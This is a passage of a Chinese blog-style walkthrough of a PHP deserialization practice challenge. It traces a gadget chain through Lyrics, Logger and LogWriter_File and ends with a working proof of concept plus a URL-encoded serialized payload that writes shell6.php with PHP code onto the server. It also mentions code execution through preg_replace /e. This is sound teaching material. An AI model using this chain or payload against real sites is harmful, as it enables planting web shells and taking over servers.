function filter($data) {
    return preg_replace($this-&gt;matchPattern, $this-&gt;replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
    $this-&gt;filters = $filters;
    $this-&gt;endl = $endl;
}
function format($txt) {
    foreach ($this-&gt;filters as $filter) {
      $txt = $filter-&gt;filter($txt);
    }
    $txt = str_replace('\n', $this-&gt;endl, $txt);
    return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
    $this-&gt;filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this-&gt;format = $format;
}
function writeLog($txt) {
    $txt = $this-&gt;format-&gt;format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("E:\\www\\pop\\" . $this-&gt;filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
    $this-&gt;logwriter = $writer;
}
function log($txt) {
    $this-&gt;logwriter-&gt;writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
    $this-&gt;name = $name;
    $this-&gt;group = $group;
    $this-&gt;url = $url;
    $fltr = new OutputFilter("/\(.*)\[\/i\]/i", "&lt;i&gt;\\1&lt;/i&gt;");
    $this-&gt;logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
    return "&lt;a href='" . $this-&gt;url . "'&gt;&lt;i&gt;" . $this-&gt;name . "&lt;/i&gt;&lt;/a&gt; by " . $this-&gt;group;
}
function log() {
    $this-&gt;logger-&gt;log("Song " . $this-&gt;name . " by " . $this-&gt;group . " viewed.\n");
}
function get_name() {
      return $this-&gt;name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
    $this-&gt;song = $song;
    $this-&gt;lyrics = $lyrics;
}
function __toString() {
    return "&lt;p&gt;" . $this-&gt;song-&gt;__toString() . "&lt;/p&gt;&lt;p&gt;" . str_replace("\n", "&lt;br /&gt;", $this-&gt;lyrics) . "&lt;/p&gt;\n";
}
function __destruct() {
    $this-&gt;song-&gt;log();
}
function shortForm() {
    return "&lt;p&gt;&lt;a href='song.php?name=" . urlencode($this-&gt;song-&gt;get_name()) . "'&gt;" . $this-&gt;song-&gt;get_name() . "&lt;/a&gt;&lt;/p&gt;";
}
function name_is($name) {
    return $this-&gt;song-&gt;get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
}
};
class Porter {
static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
}
};
class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
    $this-&gt;conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this-&gt;conn-&gt;query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result-&gt;fetch_row()) != NULL) {
      $r []= unserialize(base64_decode($row));
      }
    }
    return $r;
}
function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this-&gt;conn-&gt;query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this-&gt;conn-&gt;query("SELECT MAX(id) FROM lyrics");
      $id= $res-&gt;fetch_row(); $ids[]= intval($id);
    }
    echo var_dump($ids);
    return $ids;
}
function __destruct() {
    $this-&gt;conn-&gt;close();
    $this-&gt;conn = NULL;
}
};

if (isset($_GET['cmd'])) {
unserialize($_GET['cmd']);
}else{
highlight_file(__FILE__);
}
?&gt;
</code></pre>
<h3 id="分析-5">分析</h3>
<p>看到 unserialize() 还是先找找看有无<code>__wakeup()</code>和 <code>__destruct()</code> 方法</p>
<pre><code class="language-php">class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
    $this-&gt;song = $song;
    $this-&gt;lyrics = $lyrics;
}
function __destruct() {
    $this-&gt;song-&gt;log();
}
}
</code></pre>
<p>指向 <code>logger</code> 类的<code>log()</code> 方法</p>
<pre><code class="language-php">class Logger {
protected $logwriter;
function __construct($writer) {
    $this-&gt;logwriter = $writer;
}
function log($txt) {
    $this-&gt;logwriter-&gt;writeLog($txt);
}
};
</code></pre>
<p>指向 <code>writeLog</code> 方法在 <code>LogWriter_File</code> 类中可以找到</p>
<pre><code class="language-php">class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
    $this-&gt;filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this-&gt;format = $format;
}
function writeLog($txt) {
    $txt = $this-&gt;format-&gt;format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents(dirname(__FILE__) .'\\'. $this-&gt;filename, $txt, FILE_APPEND);
};
</code></pre>
<p>通过 <code>file_put_contents</code> 就可以写入shell</p>
<p>但如果继续看下去 指向 <code>format</code> 方法在 <code>LogFileFormat</code> 类中可以找到</p>
<pre><code class="language-php">class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
    $this-&gt;filters = $filters;
    $this-&gt;endl = $endl;
}
function format($txt) {
    foreach ($this-&gt;filters as $filter) {
      $txt = $filter-&gt;filter($txt);
    }
    $txt = str_replace('\n', $this-&gt;endl, $txt);
    return $txt;
}
};
</code></pre>
<p>指向 <code>filter</code> 方法在 <code>OutputFilter</code> 类中可以找到</p>
<pre><code class="language-php">class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
    $this-&gt;matchPattern = $pattern;
    $this-&gt;replacement = $repl;
}
function filter($data) {
    return preg_replace($this-&gt;matchPattern, $this-&gt;replacement, $data);
}
};
</code></pre>
<p>在 PHP版本&lt;=5.5 的情况 可以通过 preg_replace() /e 执行代码</p>
<h3 id="poc-5">poc</h3>
<p>由于我们这里的环境是php 7.0 就执行到 <code>file_put_contents()</code></p>
<pre><code class="language-php">&lt;?php
        class Lyrics {
          protected $lyrics;
          protected $song;
          function __construct($lyrics, $song) {
                $this-&gt;song = $song;
                $this-&gt;lyrics = $lyrics;
          }
        }

        class Logger {
          protected $logwriter;
          function __construct($writer) {
                $this-&gt;logwriter = $writer;
          }
          function log($txt) {
                $this-&gt;logwriter-&gt;writeLog($txt);
          }
        };

        class LogWriter_File {
          protected $filename;
          protected $format;
          function __construct($filename, $format) {
                $this-&gt;filename = str_replace("..", "__", str_replace("/", "_", $filename));
                $this-&gt;format = $format;
          }
          function writeLog($txt) {
                $txt = $this-&gt;format-&gt;format($txt);
                //TODO: Modify the address here, and delete this TODO.
                file_put_contents(dirname(__FILE__) .'\\'. $this-&gt;filename, $txt, FILE_APPEND);
          }
        };

        class LogFileFormat {
          protected $filters;
          protected $endl;
          function __construct($filters, $endl) {
                $this-&gt;filters = $filters;
                $this-&gt;endl = $endl;
          }
          function format($txt) {
                foreach ($this-&gt;filters as $filter) {
                  $txt = $filter-&gt;filter($txt);
                }
                $txt = str_replace('\n', $this-&gt;endl, $txt);
                return $txt;
          }
        };

        class OutputFilter {
          protected $matchPattern;
          protected $replacement;
          function __construct($pattern, $repl) {
                $this-&gt;matchPattern = $pattern;
                $this-&gt;replacement = $repl;
          }
          function filter($data) {
                return preg_replace($this-&gt;matchPattern, $this-&gt;replacement, $data);
          }
        };

        $o = new OutputFilter("//", "&lt;?php phpinfo(); ?&gt;");
        $o1 = new LogFileFormat(array($o), "\n");
        $o2 = new LogWriter_File("shell6.php", $o1);
        $o3 = new Logger($o2);
        $o4 = new Lyrics("Th0r", $o3);
       
        $s = serialize($o4);
        echo urlencode($s);
//O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A4%3A%22Th0r%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A10%3A%22shell6.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7D%7D
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213424280-642321909.png" alt="image-20201217180745688" loading="lazy"></p><br><br>
来源:https://www.cnblogs.com/th0r/p/14152102.html
頁: [1]
查看完整版本: php反序列化练习题